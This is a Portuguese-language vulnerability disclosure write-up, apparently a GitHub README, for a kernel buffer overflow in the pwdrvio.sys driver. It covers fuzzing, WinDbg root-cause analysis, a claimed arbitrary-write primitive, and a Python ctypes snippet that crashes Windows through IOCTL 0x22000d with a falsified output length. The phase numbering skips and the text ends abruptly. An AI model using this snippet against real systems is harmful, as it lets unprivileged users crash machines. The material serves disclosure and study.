CVE-2026-36980-Kernel-BSOD-DoS-PoC

Data do projeto: fev/2026 / Descoberta uma vulnerabilidade de estouro de buffer no manipulador de IOCTL do driver de kernel pwdrvio.sys. A vulnerabilidade permite que um atacante local sem privilégios corrompa a memória do pool do kernel, causando uma falha imediata do sistema (BSOD) e negação de serviço.

• 2026-02-09 Fornecedor notificado
• 2026-03-05 Fornecedor reconheceu
• 2026-03-05 CVE solicitado à MITRE
• 2026-05-10 Divulgação pública após período de divulgação coordenada de 90 dias

https://github.com/user-attachments/assets/b53fb5d1-b4d0-4bc6-ad6e-2a321a1d2101

Negação de Serviço (DoS) Severidade: MÉDIA Pontuação CVSS 3.1: 5.5 (DoS)
String do Vetor CVSS:

• DoS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Estouro de Buffer — Negação de Serviço (CVSS 5.5 - MÉDIA)

• Aciona a Tela Azul da Morte (BSOD)
• Exploração autônoma (sem necessidade de depurador)
• Causado por estouro de buffer via IOCTL 0x22000d
• Falha consistente em todas as configurações testadas

Pré-requisitos do ataque:

• Acesso local ao sistema alvo
• Conta de usuário padrão (não administrador)
• MiniTool Partition Wizard instalado ou desinstalado (driver pwdrvio.sys carregado)

Resultados da exploração: DoS - Falha imediata do sistema, indisponibilidade do serviço

Linha do tempo da descoberta da vulnerabilidade

Fase 1: Fuzzing inicial e descoberta do BSOD

Data: 5 de fevereiro de 2026
Atividade: Fuzzing sistemático do driver de kernel usando fuzzer Python personalizado

Processo de descoberta:

1. Seleção do alvo:

   • Enumeração dos drivers de kernel instalados na VM Windows 10
   • Identificação do pwdrvio.sys como o driver mais antigo (timestamp: 16 de junho de 2009)
   • Arquivo do driver: C:\Windows\System32\drivers\pwdrvio.sys
   • Objeto de dispositivo: \\.\PartitionWizardDiskAccesser\0

2. Fuzzing inicial:

   • Desenvolvimento de fuzzer Python usando ctypes para interface com o driver
   • Envio de dados aleatórios via WriteFile/DeviceIoControl ao dispositivo do driver
   • Resultado: Múltiplas Telas Azuis da Morte (BSOD)

3. Ativação do Verifier:

   • Ativação do Driver Verifier para detecção aprimorada de falhas

   verifier /standard /driver pwdrvio.sys
   

   Configuração do Verifier:

   Verifier Flags: 0x001209bb
   Standard Flags Enabled:
     [X] Special pool
     [X] Force IRQL checking  
     [X] Pool tracking
     [X] I/O verification
     [X] Deadlock detection
     [X] DMA checking
     [X] Security checks
     [X] Miscellaneous checks
     [X] DDI compliance checking
   

Fase 2: Configuração da depuração de kernel com WinDbg

Data: 5 a 6 de fevereiro de 2026
Atividade: Estabelecimento do ambiente de depuração de kernel para análise de causa raiz

Procedimento de configuração:

1. Configuração da porta serial no VMware:

   VMware Workstation Pro → VM Settings
   ├─ Add Hardware → Serial Port
   ├─ Connection: "Use named pipe"
   ├─ Path: \\.\pipe\com_1
   ├─ End: "This is the server"
   └─ I/O Mode: "Yield CPU on poll" ✓
   

2. Configuração do SO convidado:

   REM Administrator Command Prompt
   bcdedit /debug on
   bcdedit /dbgsettings serial debugport:1 baudrate:115200
   shutdown /r /t 0
   

3. Conexão com WinDbg no host:

   WinDbg → File → Attach to Kernel
   ├─ Port: \\.\pipe\com_1
   ├─ Baud Rate: 115200
   ├─ Pipe: ✓
   └─ Reconnect: ✓
   
   Result: "Kernel Debugger connection established."
   

Fase 3: Análise de causa raiz - Descoberta de escrita arbitrária

Data: 6 de fevereiro de 2026
Atividade: Identificação da primitiva de escrita arbitrária no kernel

Etapas da análise:

1. Análise do módulo:

   1: kd> lm m pwdrvio
   start             end                 module name
   fffff805`315f0000 fffff805`315f8000   pwdrvio  (Jun 16 2009)
   
   1: kd> !drvobj pwdrvio 2
   Driver object (fffff805`XXXXXXXX) is for:
    \Driver\pwdrvio
   
   DriverEntry:   fffff805`315f6008
   DriverUnload:  fffff805`315f1060
   
   Dispatch Routines:
   [00] IRP_MJ_CREATE                      fffff805`315f108c
   [02] IRP_MJ_CLOSE                       fffff805`315f12f8
   [03] IRP_MJ_READ                        fffff805`315f16c4
   [04] IRP_MJ_WRITE                       fffff805`315f1564  ← Target
   [0e] IRP_MJ_DEVICE_CONTROL              fffff805`315f1404
   

2. Descoberta da instrução vulnerável:

   Definir breakpoint no manipulador de escrita:

   1: kd> bp pwdrvio+0x1641
   1: kd> g
   
   Breakpoint 0 hit
   pwdrvio+0x1641:
   fffff805`315f1641 498943f0        mov qword ptr [r11-10h],rax
   

   Descoberta crítica: Primitiva de escrita arbitrária identificada!

   • A instrução escreve o ponteiro do kernel (RAX) no endereço [R11-0x10]
   • R11 é carregado do quadro de pilha: mov r11, qword ptr [rbp+0xB8h]
   • Nenhuma validação é realizada no endereço de destino

3. Análise do estado dos registradores:

   0: kd> r
   rax=fffff805315f1364  ← Kernel code pointer
   r11=ffffe60f84c38750  ← Destination address (controlled via stack)
   rbp=ffffe60f84c38610  ← IRP stack frame
   
   0: kd> dq @rbp+0xB8 L1
   ffffe60f`84c386c8  ffffe60f`84c38750  ← R11 loaded from here
   

Fase 4: Análise de UAF para escrita arbitrária

Data: 6 a 7 de fevereiro de 2026
Atividade: Rastreamento da vulnerabilidade de Use-After-Free até a condição de write-what-where

Cadeia de corrupção de memória:

1. Alocação do IRP:

   0: kd> !pool @rbp
   Pool page ffffe60f84c38610 region is Special pool
   *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+
   Pooltag Irp+ : I/O verifier allocated IRP packets
   

2. Relação dos buffers:

   0: kd> r rsi
   rsi=ffffe60f828df900  ← User buffer location
   
   0: kd> ? @rbp - @rsi
   Evaluate expression: 35823344 = 00000000`02229ef0  ← 35MB difference!
   

   Análise: O buffer do usuário NÃO é diretamente acessível a partir do quadro RBP

   • RBP aponta para a estrutura IRP no pool do kernel
   • O buffer do usuário está em uma região de memória diferente
   • O deslocamento RBP+0xB8 não aponta para o buffer controlado pelo usuário

3. Condição de Use-After-Free:

   O driver mantém ponteiros pendentes na estrutura IRP:

   // Ghidra decompilation (pwdrvio+0x1564)
   longlong lVar1 = *(longlong *)(param_2 + 0xb8);  // Load from IRP
   
   // No validation!
   lVar5 = IoBuildAsynchronousFsdRequest(...);
   
   // Write to [lVar1 - 0x10]
   *(code **)(lVar3 + -0x10) = FUN_00011364;  // Arbitrary write!
   

Fase 6: Identificação da negação de serviço

Data: 8 de fevereiro de 2026
Atividade: Descoberta da vulnerabilidade autônoma de DoS

Descoberta:

1. Fuzzing de IOCTL:

   • Testes de vários códigos de IOCTL com buffers malformados
   • Identificação do IOCTL 0x22000d como vulnerável

2. Mecanismo da falha:

   # Vulnerable parameters
   TARGET_IOCTL = 0x22000d
   
   input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
   real_output_buffer = ctypes.create_string_buffer(4)
   fake_output_length = 8192  # Driver trusts this value!
   
   DeviceIoControl(handle, TARGET_IOCTL, input_buf, 1024,
                   real_output_buffer, fake_output_length, ...)
   

3. Comportamento do driver:

   • O driver confia no comprimento do buffer de saída fornecido pelo usuário
   • Tenta escrever 8192 bytes em um buffer de 4 bytes
   • Estouro de buffer → Corrupção do pool → BSOD

Saída do Verifier:

DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arg1: 0000000000000091, Corrupted pool allocation
Arg2: fffff805315f1404, Driver code address
Arg3: ffffe60f84c38000, Pool allocation address
Arg4: 0000000000000091, Corruption type

PROCESS_NAME: python.exe

Vulnerabilidade #2: Negação de Serviço (DoS)